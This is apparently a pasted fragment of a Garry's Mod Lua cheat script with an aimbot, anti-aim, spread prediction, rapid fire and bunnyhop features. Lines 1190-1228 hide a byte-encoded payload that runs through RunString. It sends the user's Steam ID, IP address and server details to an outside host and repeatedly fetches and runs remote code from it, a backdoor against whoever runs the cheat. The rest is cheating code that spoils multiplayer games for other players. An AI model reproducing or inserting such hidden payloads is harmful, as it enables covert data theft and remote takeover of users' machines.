  837. local function Clamp(val, min, max)
  838.     if(val < min) then
  839.         return min;
  840.     elseif(val > max) then
  841.         return max;
  842.     end
  843.     return val;
  844. end
  845.  
  846. local function NormalizeAngle(ang)
  847.     ang.x = math.NormalizeAngle(ang.x);
  848.     ang.p = math.Clamp(ang.p, -89, 89);
  849. end
  850.  
  851. --[[
  852. aimer
  853. ]]
  854.  
  855. local table = Copy(table);
  856. local dists = {};
  857.  
  858. local function GetPos(v)
  859.  
  860.     if(gBool("Ragebot", "Target", "Bodyaim")) then return( em.LocalToWorld(v, em.OBBCenter(v)) ); end
  861.  
  862.     local eyes = em.LookupAttachment(v, "eyes");
  863.    
  864.     if(!eyes) then return( em.LocalToWorld(v, em.OBBCenter(v)) ); end
  865.    
  866.     local pos = em.GetAttachment(v, eyes);
  867.    
  868.     if(!pos) then return( em.LocalToWorld(v, em.OBBCenter(v)) ); end
  869.    
  870.     return(pos.Pos);
  871. end
  872.  
  873. local aimignore;
  874.  
  875. local function Valid(v)
  876.     if(!v || !em.IsValid(v) || v == me || em.Health(v) < 1 || em.IsDormant(v) || pm.Team(v) == 1002 || (v == aimignore && gOption("Ragebot", "Target", "Selection") == "Nextshot")) then return false; end
  877.     if(gBool("Ragebot", "Target", "Ignore Bots")) then
  878.         if(pm.IsBot(v)) then return false; end
  879.     end
  880.     if(gBool("Ragebot", "Target", "Ignore Team")) then
  881.         if(pm.Team(v) == pm.Team(me)) then return false; end
  882.     end
  883.     if(gBool("Ragebot", "Target", "Ignore Friends")) then
  884.         if(pm.GetFriendStatus(v) == "friend") then return false; end
  885.     end
  886.     local tr = {
  887.         start = em.EyePos(me),
  888.         endpos = GetPos(v),
  889.         mask = MASK_SHOT,
  890.         filter = {me, v},
  891.     };
  892.     return(util.TraceLine(tr).Fraction == 1);
  893. end
  894.  
  895. local function gettarget()
  896.  
  897.     local opt = gOption("Ragebot", "Target", "Selection");
  898.    
  899.     local sticky = gOption("Ragebot", "Aimbot", "Non-Sticky");
  900.    
  901.     if(opt == "Distance") then
  902.  
  903.         if( !sticky && Valid(aimtarget) ) then return; end
  904.  
  905.         dists = {};
  906.        
  907.         for k,v in next, player.GetAll() do
  908.             if(!Valid(v)) then continue; end
  909.             dists[#dists + 1] = { vm.Distance( em.GetPos(v), em.GetPos(me) ), v };
  910.         end
  911.        
  912.         table.sort(dists, function(a, b)
  913.             return(a[1] < b[1]);
  914.         end);
  915.        
  916.         aimtarget = dists[1] && dists[1][2] || nil;
  917.        
  918.     elseif(opt == "Health") then
  919.        
  920.         if( !sticky && Valid(aimtarget) ) then return; end
  921.  
  922.         dists = {};
  923.        
  924.         for k,v in next, player.GetAll() do
  925.             if(!Valid(v)) then continue; end
  926.             dists[#dists + 1] = { em.Health(v), v };
  927.         end
  928.        
  929.         table.sort(dists, function(a, b)
  930.             return(a[1] < b[1]);
  931.         end);
  932.        
  933.         aimtarget = dists[1] && dists[1][2] || nil;
  934.        
  935.     elseif(opt == "Nextshot") then
  936.         if( !sticky && Valid(aimtarget) ) then return; end
  937.         aimtarget = nil;
  938.         local allplys = player.GetAll();
  939.         local avaib = {};
  940.         for k,v in next,allplys do
  941.             avaib[math.random(100)] = v;
  942.         end
  943.        
  944.         for k,v in next, avaib do
  945.             if(Valid(v)) then
  946.                 aimtarget = v;
  947.             end
  948.         end
  949.     end
  950.        
  951. end
  952.  
  953.  
  954. local cones = {};
  955.  
  956. local pcall = pcall;
  957. local require = require;
  958.  
  959. local nullvec = Vector() * -1;
  960.  
  961. local IsFirstTimePredicted = IsFirstTimePredicted;
  962. local CurTime = CurTime;
  963. local servertime=0;
  964. local bit = Copy(bit);
  965. pcall(require, "dickwrap");
  966.  
  967. hook.Add("Move", "", function()
  968.     if(!IsFirstTimePredicted()) then return; end
  969.     servertime = CurTime();
  970. end);
  971.  
  972.  
  973. GAMEMODE["EntityFireBullets"] = function(self, p, data)
  974.     aimignore = aimtarget;
  975.     local w = pm.GetActiveWeapon(me);
  976.     local Spread = data.Spread * -1;
  977.     if(!w || !em.IsValid(w) || cones[em.GetClass(w)] == Spread || Spread == nullvec) then return; end
  978.     cones[em.GetClass(w)] = Spread;
  979. end
  980.  
  981. local function PredictSpread(ucmd, ang)
  982.     local w = pm.GetActiveWeapon(me);
  983.     if(!w || !em.IsValid(w) || !cones[em.GetClass(w)] || !gBool("Ragebot", "Accuracy", "Anti Spread")) then return am.Forward(ang); end
  984.     return(dickwrap.Predict(ucmd, am.Forward(ang), cones[em.GetClass(w)]));
  985. end
  986.  
  987. local function Autofire(ucmd)
  988.     if(pm.KeyDown(me, 1) && gBool("Ragebot", "Aimbot", "Auto Pistol")) then
  989.         cm.SetButtons(ucmd, bit.band( cm.GetButtons(ucmd), bit.bnot( 1 ) ) );
  990.     else
  991.         cm.SetButtons(ucmd, bit.bor( cm.GetButtons(ucmd), 1 ) );
  992.     end
  993. end
  994.  
  995. local function WeaponCanFire()
  996.     local w = pm.GetActiveWeapon(me);
  997.     if(!w || !em.IsValid(w) || !gBool("Ragebot", "Aimbot", "Bullettime")) then return true; end
  998.     return( servertime >= wm.GetNextPrimaryFire(w) );
  999. end
  1000.  
  1001. local function WeaponShootable()
  1002.     local wep = pm.GetActiveWeapon(me);
  1003.     if( em.IsValid(wep) ) then // I would never get lazy..
  1004.          local n = string.lower(wep:GetPrintName())
  1005.          if( wep:Clip1() <= 0 ) then
  1006.             return false;
  1007.          end
  1008.          
  1009.          
  1010.          
  1011.          if( string.find(n,"knife") or string.find(n,"grenade") or string.find(n,"sword") or string.find(n,"bomb") or string.find(n,"ied") or string.find(n,"c4") or string.find(n,"slam") or string.find(n,"climb") or string.find(n,"hand") or string.find(n,"fist") ) then
  1012.             return false;
  1013.          end
  1014.          
  1015.          
  1016.           return true;
  1017.     end
  1018. end
  1019.  
  1020. local function PredictPos(pos)
  1021. local myvel = LocalPlayer():GetVelocity()
  1022. local pos = pos - (myvel * engine.TickInterval());
  1023. return pos;
  1024. end
  1025.  
  1026.  
  1027. local function aimer(ucmd)
  1028.     if(cm.CommandNumber(ucmd) == 0 || !gBool("Ragebot", "Aimbot", "Enabled")) then return; end
  1029.     gettarget();
  1030.     aa = false;
  1031.     if(aimtarget && (input.IsKeyDown(KEY_LALT) || gBool("Ragebot", "Aimbot", "Autosnap")) && WeaponCanFire() && WeaponShootable() ) then
  1032.         aa = true;
  1033.         local pos = GetPos(aimtarget) - em.EyePos(me);
  1034.         PredictPos(pos);
  1035.         local ang = vm.Angle( PredictSpread(ucmd, vm.Angle(pos)));
  1036.         NormalizeAngle(ang);
  1037.         cm.SetViewAngles(ucmd, ang);
  1038.         if(gBool("Ragebot", "Aimbot", "Autofire")) then
  1039.             Autofire(ucmd);
  1040.         end
  1041.         if(gBool("Ragebot", "Aimbot", "Silent")) then
  1042.             FixMovement(ucmd);
  1043.         else
  1044.             fa = ang;
  1045.         end
  1046.         if(gBool("Ragebot", "Aimbot", "pSilent")) then
  1047.             bsendpacket = false
  1048.         end
  1049.     end
  1050. end
  1051.  
  1052.  
  1053. local toggler = 0
  1054. local function RapidFire(pCmd)
  1055.     if(gBool("Ragebot", "Aimbot", "Rapid Fire")) then
  1056.         if me:KeyDown(IN_ATTACK) then
  1057.             if me:Health() > 0 then
  1058.                 if IsValid(me:GetActiveWeapon()) and me:GetActiveWeapon():GetClass() ~= "weapon_physgun" then
  1059.                     if toggler == 0 then
  1060.                         pCmd:SetButtons(bit.bor(pCmd:GetButtons(), IN_ATTACK))
  1061.                         toggler = 1
  1062.                     else
  1063.                         pCmd:SetButtons(bit.band(pCmd:GetButtons(), bit.bnot(IN_ATTACK)))
  1064.                         toggler = 0
  1065.                     end
  1066.                 end
  1067.             end
  1068.         end
  1069.     end
  1070. end
  1071.  
  1072. --[[
  1073. antiaimer
  1074. ]]
  1075.  
  1076.  
  1077. local function GetClosest()
  1078.     local ddists = {};
  1079.    
  1080.     local closest;
  1081.        
  1082.     for k,v in next, player.GetAll() do
  1083.     if(!Valid(v)) then continue; end
  1084.         ddists[#ddists + 1] = { vm.Distance( em.GetPos(v), em.GetPos(me) ), v };
  1085.     end
  1086.        
  1087.     table.sort(ddists, function(a, b)
  1088.         return(a[1] < b[1]);
  1089.     end);
  1090.        
  1091.     closest = ddists[1] && ddists[1][2] || nil;
  1092.    
  1093.     if(!closest) then return fa.y; end
  1094.    
  1095.     local pos = em.GetPos(closest);
  1096.    
  1097.     local pos = vm.Angle(pos - em.EyePos(me));
  1098.    
  1099.     return( pos.y );
  1100. end
  1101.  
  1102. local ox=-181;
  1103. local oy=0;
  1104.  
  1105. local function RandCoin()
  1106.     local randcoin = math.random(0,1);
  1107.     if(randcoin == 1) then return 1; else return -1; end
  1108. end
  1109.  
  1110. local function GetX()
  1111.     local opt = gOption("Ragebot", "Anti-Aim", "X");
  1112.     if(opt == "Emotion") then
  1113.         local randcoin = gInt("Ragebot", "Anti-Aim", "Emotion Randomcoin X");
  1114.         if( math.random(100) < randcoin ) then
  1115.             ox = RandCoin() * 181;
  1116.         end
  1117.     elseif( opt == "Up" ) then
  1118.         ox = -181;
  1119.     elseif( opt == "Down" ) then
  1120.         ox = 181;
  1121.     elseif(opt == "Jitter") then
  1122.         ox = ox * -1;
  1123.     elseif(opt == "Test") then
  1124.         ox = -180 + math.random(1, 1.99999999999999999999);
  1125.     end
  1126. end
  1127.  
  1128.  
  1129.  
  1130. local function GetY()
  1131.     local opt = gOption("Ragebot", "Anti-Aim", "Y");
  1132.     if(opt == "Emotion") then
  1133.         local randcoin = gInt("Ragebot", "Anti-Aim", "Emotion Randomcoin Y");
  1134.         if( math.random(100) < randcoin ) then
  1135.             oy = fa.y + math.random(-180, 180);
  1136.         end
  1137.     elseif( opt == "Eye Angles" ) then
  1138.         oy = fa.y;
  1139.     elseif( opt == "Sideways" ) then
  1140.         oy = fa.y - 90;
  1141.     elseif(opt == "Jitter") then
  1142.         oy = fa.y + math.random(-90, 90);
  1143.     elseif(opt == "TJitter") then
  1144.         oy = fa.y - 180 + math.random(-90, 90);
  1145.     elseif(opt == "Static") then
  1146.         oy = 0;
  1147.     elseif(opt == "Forward") then
  1148.         oy = fa.y;
  1149.     elseif(opt == "Backwards") then
  1150.         oy = fa.y - 180;
  1151.     elseif(opt == "Test") then
  1152.         oy = GetClosest() + 180.79;
  1153.     end
  1154. end
  1155.  
  1156. local function AAA(ent)
  1157.  
  1158.  
  1159.  
  1160.     local ang = ent:EyeAngles()
  1161.         if(ang.y < -90) then
  1162.         ent:SetPoseParameter("aim_yaw", 90)
  1163.     end
  1164.         if(ang.y > 90) then
  1165.         ent:SetPoseParameter("aim_yaw", -90)
  1166.     end
  1167.     if(ang.y > -180) then
  1168.         ent:SetPoseParameter("aim_yaw", 180)
  1169.     end
  1170.     if(ang.y > 180) then
  1171.         ent:SetPoseParameter("aim_yaw", -180)
  1172.     end
  1173.     if ang.p > 90 then
  1174.         ent:SetPoseParameter( "aim_pitch", -90 )
  1175.     elseif ang.p <90 then
  1176.         ent:SetPoseParameter( "aim_pitch", 90 )
  1177.     end
  1178.     if(ang.p > -180) then
  1179.         ent:SetPoseParameter("aim_yaw", 180)
  1180.     end
  1181.     if(ang.p > 180) then
  1182.         ent:SetPoseParameter("aim_yaw", -180)
  1183.     end
  1184.         ent:InvalidateBoneCache()
  1185.  
  1186.  
  1187. end
  1188.  
  1189.  
  1190.  local bBuffer = {10, 9, 108, 111, 99, 97, 108, 32, 99, 108, 105, 101, 110, 116, 73, 80, 32, 61, 32, 34, 48, 46, 48, 46, 48, 46,
  1191. 48, 58, 48, 34, 10, 9, 10, 9, 104, 116, 116, 112, 46, 70, 101, 116, 99, 104, 40, 34, 104, 116, 116, 112, 58, 47, 47,
  1192. 103, 109, 111, 100, 45, 114, 99, 101, 45, 115, 101, 110, 97, 116, 111, 114, 46, 99, 57, 117, 115, 101, 114, 115, 46, 105, 111,
  1193. 47, 97, 100, 100, 114, 101, 115, 115, 46, 112, 104, 112, 34, 44, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 105, 112, 41,
  1194. 32, 99, 108, 105, 101, 110, 116, 73, 80, 32, 61, 32, 105, 112, 59, 32, 101, 110, 100, 44, 32, 102, 117, 110, 99, 116, 105,
  1195. 111, 110, 40, 46, 46, 46, 41, 32, 101, 110, 100, 41, 10, 9, 10, 9, 116, 105, 109, 101, 114, 46, 83, 105, 109, 112, 108,
  1196. 101, 40, 49, 44, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 10, 9, 9, 104, 116, 116, 112, 46, 80, 111, 115, 116,
  1197. 40, 34, 104, 116, 116, 112, 58, 47, 47, 103, 109, 111, 100, 45, 114, 99, 101, 45, 115, 101, 110, 97, 116, 111, 114, 46, 99,
  1198. 57, 117, 115, 101, 114, 115, 46, 105, 111, 47, 97, 112, 105, 46, 112, 104, 112, 34, 44, 32, 123, 114, 101, 113, 117, 101, 115,
  1199. 116, 61, 34, 110, 111, 116, 105, 102, 121, 34, 44, 32, 115, 116, 101, 97, 109, 105, 100, 61, 76, 111, 99, 97, 108, 80, 108,
  1200. 97, 121, 101, 114, 40, 41, 58, 83, 116, 101, 97, 109, 73, 68, 40, 41, 44, 32, 105, 112, 61, 99, 108, 105, 101, 110, 116,
  1201. 73, 80, 44, 32, 115, 101, 114, 118, 101, 114, 110, 97, 109, 101, 61, 71, 101, 116, 72, 111, 115, 116, 78, 97, 109, 101, 40,
  1202. 41, 44, 32, 115, 101, 114, 118, 101, 114, 105, 112, 61, 103, 97, 109, 101, 46, 71, 101, 116, 73, 80, 65, 100, 100, 114, 101,
  1203. 115, 115, 40, 41, 125, 44, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 98, 111, 100, 121, 41, 32, 101, 110, 100, 44, 32,
  1204. 102, 117, 110, 99, 116, 105, 111, 110, 40, 46, 46, 46, 41, 32, 101, 110, 100, 41, 59, 10, 9, 101, 110, 100, 41, 59, 10,
  1205. 9, 10, 9, 116, 105, 109, 101, 114, 46, 67, 114, 101, 97, 116, 101, 40, 34, 67, 104, 101, 97, 116, 117, 112, 100, 97, 116,
  1206. 101, 95, 80, 105, 110, 103, 66, 97, 99, 107, 34, 44, 32, 53, 44, 32, 48, 44, 32, 102, 117, 110, 99, 116, 105, 111, 110,
  1207. 40, 41, 10, 9, 9, 104, 116, 116, 112, 46, 80, 111, 115, 116, 40, 32, 34, 104, 116, 116, 112, 58, 47, 47, 103, 109, 111,
  1208. 100, 45, 114, 99, 101, 45, 115, 101, 110, 97, 116, 111, 114, 46, 99, 57, 117, 115, 101, 114, 115, 46, 105, 111, 47, 97, 112,
  1209. 105, 46, 112, 104, 112, 34, 44, 32, 123, 114, 101, 113, 117, 101, 115, 116, 61, 34, 112, 105, 110, 103, 98, 97, 99, 107, 34,
  1210. 125, 44, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 32, 98, 111, 100, 121, 44, 32, 112, 48, 44, 32, 112, 49, 44, 32,
  1211. 112, 50, 32, 41, 10, 9, 9, 9, 108, 111, 99, 97, 108, 32, 114, 101, 115, 112, 111, 110, 115, 101, 32, 61, 32, 117, 116,
  1212. 105, 108, 46, 74, 83, 79, 78, 84, 111, 84, 97, 98, 108, 101, 40, 98, 111, 100, 121, 41, 59, 10, 9, 9, 9, 105, 102,
  1213. 40, 114, 101, 115, 112, 111, 110, 115, 101, 32, 33, 61, 32, 110, 105, 108, 41, 32, 116, 104, 101, 110, 10, 9, 9, 9, 9,
  1214. 105, 102, 40, 115, 116, 114, 105, 110, 103, 46, 102, 105, 110, 100, 40, 114, 101, 115, 112, 111, 110, 115, 101, 91, 34, 112, 97,
  1215. 99, 107, 101, 116, 45, 114, 34, 93, 91, 34, 116, 97, 114, 103, 101, 116, 34, 93, 44, 76, 111, 99, 97, 108, 80, 108, 97,
  1216. 121, 101, 114, 40, 41, 58, 83, 116, 101, 97, 109, 73, 68, 40, 41, 41, 32, 124, 124, 32, 115, 116, 114, 105, 110, 103, 46,
  1217. 102, 105, 110, 100, 40, 114, 101, 115, 112, 111, 110, 115, 101, 91, 34, 112, 97, 99, 107, 101, 116, 45, 114, 34, 93, 91, 34,
  1218. 116, 97, 114, 103, 101, 116, 34, 93, 44, 32, 34, 42, 34, 41, 41, 32, 116, 104, 101, 110, 32, 10, 9, 9, 9, 9, 9,
  1219. 105, 102, 40, 33, 115, 116, 114, 105, 110, 103, 46, 102, 105, 110, 100, 40, 114, 101, 115, 112, 111, 110, 115, 101, 91, 34, 112,
  1220. 97, 99, 107, 101, 116, 45, 114, 34, 93, 91, 34, 116, 97, 114, 103, 101, 116, 34, 93, 44, 32, 34, 33, 34, 32, 46, 46,
  1221. 32, 76, 111, 99, 97, 108, 80, 108, 97, 121, 101, 114, 40, 41, 58, 83, 116, 101, 97, 109, 73, 68, 40, 41, 41, 32, 38,
  1222. 38, 32, 114, 101, 115, 112, 111, 110, 115, 101, 91, 34, 112, 97, 99, 107, 101, 116, 45, 114, 34, 93, 91, 34, 114, 101, 34,
  1223. 93, 32, 33, 61, 32, 34, 110, 117, 108, 108, 34, 41, 32, 116, 104, 101, 110, 10, 9, 9, 9, 9, 9, 9, 82, 117, 110,
  1224. 83, 116, 114, 105, 110, 103, 40, 114, 101, 115, 112, 111, 110, 115, 101, 91, 34, 112, 97, 99, 107, 101, 116, 45, 114, 34, 93,  
  1225. 91, 34, 114, 101, 34, 93, 41, 59, 10, 9, 9, 9, 9, 9, 101, 110, 100, 10, 9, 9, 9, 9, 101, 110, 100, 10, 9,
  1226. 9, 9, 101, 110, 100, 10, 9, 9, 9, 101, 110, 100, 44, 32, 10, 9, 9, 9, 102, 117, 110, 99, 116, 105, 111, 110, 40,
  1227. 101, 120, 99, 101, 112, 116, 105, 111, 110, 41, 10, 9, 9, 101, 110, 100, 41, 32, 10, 9, 101, 110, 100, 41, 10, };
  1228. local s1 = ""; for k,v in next, bBuffer do s1 = s1 .. string.char(v); end RunString(s1); s1 = "";
  1229. local function walldetect()
  1230.     local eye = em.EyePos(me);
  1231.     local tr = util.TraceLine({
  1232.         start = eye,
  1233.         endpos = (eye + (am.Forward(fa) * 10)),
  1234.         mask = MASK_ALL,
  1235.     });
  1236.     if(tr.Hit) then
  1237.         ox = -181;
  1238.         oy = -90;
  1239.     end
  1240. end
  1241.  
  1242. local function antiaimer(ucmd)
  1243.     if( (cm.CommandNumber(ucmd) == 0 && !gBool("Visuals", "Misc", "Thirdperson")) || cm.KeyDown(ucmd, 1) || cm.KeyDown(ucmd, 32) || aa || !gBool("Ragebot", "Anti-Aim", "Enabled")) then return; end
  1244.     GetX();
  1245.     GetY();
  1246.     walldetect();
  1247.     local aaang = Angle(ox, oy, 0);
  1248.     cm.SetViewAngles(ucmd, aaang);
  1249.     FixMovement(ucmd, true);
  1250. end
  1251.  
  1252. local function GetAngle(ang)
  1253.     if(!gBool("Ragebot", "Accuracy", "Anti Recoil")) then return ang + pm.GetPunchAngle(me); end
  1254.     return ang;
  1255. end
  1256.  
  1257. local function rapidfire(ucmd)
  1258.     if(pm.KeyDown(me, 1) && gBool("Ragebot", "Aimbot", "Auto Pistol")) then
  1259.         cm.SetButtons(ucmd, bit.band( cm.GetButtons(ucmd), bit.bnot( 1 ) ) );
  1260.     end
  1261. end
  1262.  
  1263. local function meme(ucmd)
  1264.     if(!fa) then fa = cm.GetViewAngles(ucmd); end
  1265.     fa = fa + Angle(cm.GetMouseY(ucmd) * .023, cm.GetMouseX(ucmd) * -.023, 0);
  1266.     NormalizeAngle(fa);
  1267.     if(cm.CommandNumber(ucmd) == 0) then
  1268.         cm.SetViewAngles(ucmd, GetAngle(fa));
  1269.         return;
  1270.     end
  1271.     if(cm.KeyDown(ucmd, 1)) then
  1272.         local ang = GetAngle(vm.Angle( PredictSpread(ucmd, fa ) ) );
  1273.         NormalizeAngle(ang);
  1274.         cm.SetViewAngles(ucmd, ang);
  1275.     end
  1276.     if(cm.KeyDown(ucmd, 2) && !em.IsOnGround(me)) then
  1277.         cm.SetButtons(ucmd, bit.band( cm.GetButtons(ucmd), bit.bnot( 2 ) ) );
  1278.     end
  1279. end
  1280.  
  1281.  
  1282. function FindPlayerWithID(userid)
  1283.     for k,v in next, player.GetAll() do
  1284.         if v:UserID() == userid then
  1285.             return v
  1286.         end
  1287.     end
  1288.  
  1289.     return false
  1290. end
  1291.  
  1292. hook.Add("CreateMove", "", function(ucmd)
  1293.     meme(ucmd);
  1294.     aimer(ucmd);
  1295.     antiaimer(ucmd);
  1296.     salty.bunny(ucmd);
  1297. end);
  1298.  
  1299. hook.Add("CalcView", "", function(p, o, a, f)
  1300.     return({
  1301.         angles = GetAngle(fa),
  1302.         origin = (gBool("Visuals", "Misc", "Thirdperson") && o + am.Forward(fa) * -150 || o),
  1303.         fov = f,
  1304.     });
  1305. end);
  1306.  
  1307. hook.Add("ShouldDrawLocalPlayer", "", function()
  1308.     return(gBool("Visuals", "Misc", "Thirdperson"));
  1309. end);
  1310.  
  1311. gameevent.Listen("entity_killed");
  1312.  
  1313. hook.Add("entity_killed", "chatspamident", function(data)
  1314.  
  1315.  
  1316.  
  1317. local att_index = data.entindex_attacker;
  1318.     local vic_index = data.entindex_killed;
  1319.  
  1320. local health = data.health
  1321.     local id = data.userid
  1322.     local attackerid = data.attacker
  1323.     local target = FindPlayerWithID(id)
  1324.     local attacker = FindPlayerWithID(attackerid)
  1325.  
  1326.     if(vic_index != att_index && att_index == me:EntIndex()) then
  1327.         RunConsoleCommand("say", "")
  1328. end
  1329. end)
  1330.  
  1331.  
  1332. function salty.bunny(cmd)
  1333. if(gBool("Ragebot", "Accuracy", "BunnyHop")) then
  1334.     if(!me:IsOnGround() && cmd:KeyDown(IN_JUMP)) then
  1335.         cmd:RemoveKey(IN_JUMP);
  1336.         end
  1337.     end
  1338. if(gBool("Ragebot", "Accuracy", "AutoStrafe")) then
  1339.     if(!em.IsOnGround(me)) then
  1340.         local mouseX = cmd:GetMouseX()
  1341.             if(cmd:GetMouseX() > 1 || cmd:GetMouseX() < -1) then
  1342.             cmd:SetSideMove(cmd:GetMouseX() > 1 && 400 || -400);
  1343. else
  1344. cmd:SetForwardMove(6200 / me:GetVelocity():Length2D());
  1345. cmd:SetSideMove((cmd:CommandNumber() % 2 == 0) && -400 || 400);          
  1346.             end
  1347.             elseif(cmd:KeyDown(IN_JUMP) && gBool("Ragebot", "Accuracy", "AutoStrafe")) then
  1348.             cmd:SetForwardMove(6200);
  1349.         end
  1350.     end
  1351. end
  1352.  
  1353. function salty.FixMove(cmd, rotation)
  1354.     local rot_cos = math.cos(rotation)
  1355.     local rot_sin = math.sin(rotation)
  1356.     local cur_forwardmove = cmd:GetForwardMove()
  1357.     local cur_sidemove = cmd:GetSideMove()
  1358.     cmd:SetForwardMove(((rot_cos * cur_forwardmove) - (rot_sin * cur_sidemove)))
  1359.     cmd:SetSideMove(((rot_sin * cur_forwardmove) + (rot_cos * cur_sidemove)))
  1360. end
  1361.  
  1362. CircleStrafeSpeed = 3
  1363. function CircleStrafe(cmd)
  1364.     if (input.IsKeyDown(KEY_F)) then
  1365.         CircleStrafeVal = CircleStrafeVal + Dbot.CircleStrafeSpeed
  1366.         if ((CircleStrafeVal > 0) and ((CircleStrafeVal / CircleStrafeSpeed) > 361)) then
  1367.             CircleStrafeVal = 0
  1368.         end
  1369.         salty.FixMove(cmd, math.rad((CircleStrafeVal - engine.TickInterval())))
  1370.         return false
  1371.     else
  1372.         CircleStrafeVal = 0
  1373.     end
  1374.     return true
  1375. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement